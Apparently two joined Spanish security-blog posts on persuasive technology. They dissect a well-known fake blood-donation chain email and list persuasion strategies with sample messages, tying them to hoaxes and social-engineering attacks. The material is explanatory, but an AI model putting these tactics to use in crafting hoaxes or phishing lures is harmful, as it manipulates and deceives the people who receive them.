Hablábamos en el anterior post de la tecnología persuasiva; veamos cómo un hoax simple y conocido por casi todos usa diferentes técnicas de las que comentábamos en ese post. Podemos utilizar como ejemplo un bulo que lleva circulando años a través del correo electrónico y que incluso a día de hoy sigue recibiendo un número considerable de gente (yo lo recibí por última vez hace unos meses, gracias a una amiga que se encarga de propagar este tipo de bulos): el de la donación urgente de sangre en cierto hospital, con las diferentes mutaciones que ha sufrido a lo largo del tiempo y que incluso ha obligado a hospitales reales a desmentir oficialmente la información. Viene a ser algo como lo que pone en el enlace anterior:

MENSAJE URGENTE DESDE EL HOSPITAL UNIVERSITARI I POLITÈCNIC  LA FE DE VALENCIA
Si conocéis a alguien que tuviera el grupo sanguíneo AB dispuesto a donar sangre, decidlo. En el Hospital Universitario La Fe de Valencia hay un niño de 10 años ingresado con LEUCEMIA que necesita urgentemente unos 12 donantes. Este grupo sanguíneo (AB) es bastante raro, de ahí el hecho de la falta de donantes. Los médicos anuncian que si los encontraran sería muy posible salvarla vida de este niño. Por favor, reenvía este correo a quien conozcas. El teléfono de la madre (María Ángeles 963XXXX).
 
En estas pocas líneas podemos identificar algunas técnicas de persuasión de las que hemos visto en el post sobre tecnología persuasiva:

• Respaldo de terceros. El mensaje viene de un hospital reconocido, al que además se cita con su nombre “largo” para darle un toque de oficialidad (nadie llama a este hospital “Universitari i Politècnic”; creo que todo el mundo le llama simplemente “La Fe”).
• Autoridad. Como el mensaje viene de quien viene, asumimos como cierto que el grupo sanguíneo AB es bastante raro.
• Experiencia y conocimiento. Los médicos opinan que si encontraran a estos donantes podrían salvar la vida al niño (esto acompañado del respaldo del hospital lo hace todavía más creíble).
• Acercamiento al mundo real. El bulo proporciona incluso el nombre y teléfono de la madre para acercarnos a su situación y convencernos de la veracidad de lo que estamos leyendo.
• Sugestión. El propio mensaje nos solicita reenviar el bulo a quien conozcamos, siempre en favor del niño.

Esto sin contar el que este hoax nos toca la fibra sensible: un niño tiene un problema muy grave -LEUCEMIA, en mayúsculas, podemos verlo incluso sin leer el cuerpo completo del bulo, lo que a cualquier persona le preocupa y le invita a reenviar este mensaje en beneficio del supuesto niño enfermo…

Evidentemente, hay bulos más desarrollados que utilizan más técnicas que las anteriores (Hotmail será de pago, lo dice el presidente de Microsoft), incluso incorporando material gráfico que acerca a la víctima a reenviar, en estos casos, el correo (la típica foto del perrito abandonado que busca urgentemente una familia porque si no será sacrificado) o tocando directamente nuestra fibra sensible (como el que hemos puesto aquí, o aquel otro en el que Bill Gates iba a donar X dólares por cada click en un enlace o cada reenvío del bulo).

No vamos a entrar ahora en analizar los hoaxes ni las formas de identificarlos; vamos a fabricar uno nosotros mismos, a ver si somos capaces de incorporar técnicas persuasivas para que lo reenviéis cuando os llegue :) Buscamos algo absurdo, evidentemente, algo que no haríamos en circunstancias normales y que, si nos convencen bien de ello, haremos sin dudar. Algo generalista, que no esté restringido a unas pocas personas… Nada por tanto tecnológico, ni mucho menos de seguridad o cosas que sólo nos afectarían a unos cuantos (y que en este caso somos los que a priori menos picaríamos en ello)… Algo relativo, por ejemplo, a eso que ahora está tan de moda de correr sin motivo aparente (ni detrás ni delante de algo o alguien): fabriquemos un hoax de maratones para convencer a la gente de que correr es malo…

Hace unas semanas tuve la oportunidad de asistir a una charla sobre persuasive programming, un término que hasta ese momento desconocía, pero que simplificando mucho -y resumiendo lo que entendí, que no fue todo-, consiste en el desarrollo de aplicaciones que modifiquen el comportamiento del usuario, persuadiéndole para que ejecute determinadas acciones: vamos, cosas más allá del típico “Aceptar-Cancelar” que todos supongo que incluiríamos en un popup para que el usuario elija qué opción prefiere…

El caso es que esto del persuasive programming me llamó la atención (por motivos que luego comentaré) y googleando un poco acabé conociendo términos como captology o similares, y descubriendo que alrededor de lo que denominan tecnología persuasiva había todo un mundo en el que se cruzaba la tecnología con la psicología, con el objetivo de generar desarrollos, dispositivos, interfaces, etc. que tratan de cambiar actitudes o comportamientos de las personas para conseguir que éstas hagan lo que nosotros queremos que hagan…

¿Cuáles son las estrategias de persuasión? En la charla hablaban de unas cuantas (no sé si hay más):

• Automonitorización, proporcionando mensajes al usuario -no tienen por qué ser ciertos- acerca de su comportamiento y no del de otros, de forma que le resulten más cercanos: “Tú has violado la política de seguridad tres veces esta semana y diez veces este mes”.
• Simulación, transmitiendo al usuario el resultado que se produciría si elige la opción que no queremos que elija: “Sé consciente de que si violas la política de seguridad se puede producir un robo de información, y eso es muy caro”.
• Alabanza, haciéndole ver lo positivo que sería que escogiera una determinada alternativa de las que puede elegir: “Si tu opción pasa por cifrar los datos, serás un empleado ejemplar”.
• Recompensa, proporcionando “premios” si el usuario tiene un determinado comportamiento: “Si trituras la documentación confidencial antes de reciclarla, Seguridad te dará 0,01 euros por folio.”
• Recordatorios, instando al usuario a que haga o deje de hacer una cosa: “Recuerda que debes leer un libro de seguridad diferente cada mes”.
• Sugestión, transmitiendo al usuario directamente lo que creemos que debe hacer: “Seguridad te recomienda elegir la opción A porque será mejor para todos”.
• Rol social, denotando proximidad a la persona que debe tomar la decisión: “Soy Paquito, tu asistente virtual personalizado para ser seguro… ¿En qué puedo ayudarte?”.
• Experiencia, convenciendo a la persona de que sabemos mucho de un tema para que confíe en nosotros: “Este consejo lo ha proporcionado Bruce Schneier, una de las personas del mundo que más sabe de seguridad”.
• Acercamiento al mundo real, para que el usuario se identifique con un determinado mensaje o vea que detrás de un correo o de una aplicación hay personas de carne y hueso: “Si tienes cualquier problema de seguridad, te puedo ayudar: envíame un correo a mi dirección, pepe@example.com, y te llamaré enseguida”.
• Autoridad, transmitiendo -algo parecido a la experiencia, a la que hemos hecho referencia- que sabemos mucho de un tema para que el usuario haga lo que queremos de él: “Todas las personas inteligentes han pinchado sobre este enlace. Pepito Pérez, CSO de la NASA”.
• Respaldo de terceros, haciendo ver a nuestro usuario que alguien de confianza apoya nuestra alternativa: “El sistema obliga a cambiar la contraseña cada tres meses. Este sistema ha sido certificado por la NSA y la CIA lo revisa cada dos semanas”.
• Comparativa social, haciendo que el usuario se dé cuenta de cuál es la opción que queremos que elija porque es la mejor para la mayoría de gente: “El 90% de nuestros empleados usan este programa de cifra. Puedes ver sus experiencias en la intranet corporativa”.
• Cooperación, facilitando que un tercero dé apoyo al usuario para que ejecute lo que nosotros queremos: “Pregúntale a cualquier compañero como actuar ante el robo de un portátil”.
• Competición, convenciendo al usuario de que será mejor que los demás si elige una alternativa determinada: “Sé más seguro que los demás cifrando tu teléfono móvil (y participa en el sorteo de un aifon promocionado por Seguridad)”.
• Reconocimiento, proporcionando al usuario una relativa distinción si hace lo que nosotros deseamos: “Bloquea tu sesión cuando te ausentes del puesto de trabajo y serás EMPLEADO DEL MES”.

Evidentemente, todas las estrategias anteriores se pueden usar por separado (no hay que aplicar todas a la vez, ya que si lo hiciéramos el pobre usuario se volvería loco) y también combinar para lograr nuestro objetivo: convencer a una persona de que realice una determinada acción, que evidentemente es la que a nosotros nos interesa. En definitiva, persuadiéndolo y convenciéndole de que lo que va a hacer es lo mejor, sea esto cierto o no.

Pero, ¿por qué hablamos de programación o tecnología persuasiva en un blog de seguridad? Muy sencillo: lo primero que se me iba ocurriendo al escuchar la charla y las diferentes estrategias de persuasión que puede usar una aplicación, una web, un sistema… para convencernos de que hagamos algo era aplicar esas mismas estrategias al ámbito de la seguridad, por ejemplo para realizar ataques de ingeniería social. Fabriquemos un bulo, un hoax, y convenzamos a la gente de algo que nosotros queremos transmitiéndoles que es lo correcto para ellos; evidentemente ese hoax puede ser inocuo o estar relacionado con un ataque más severo, de ingeniería social dura, volviendo a la primera idea :)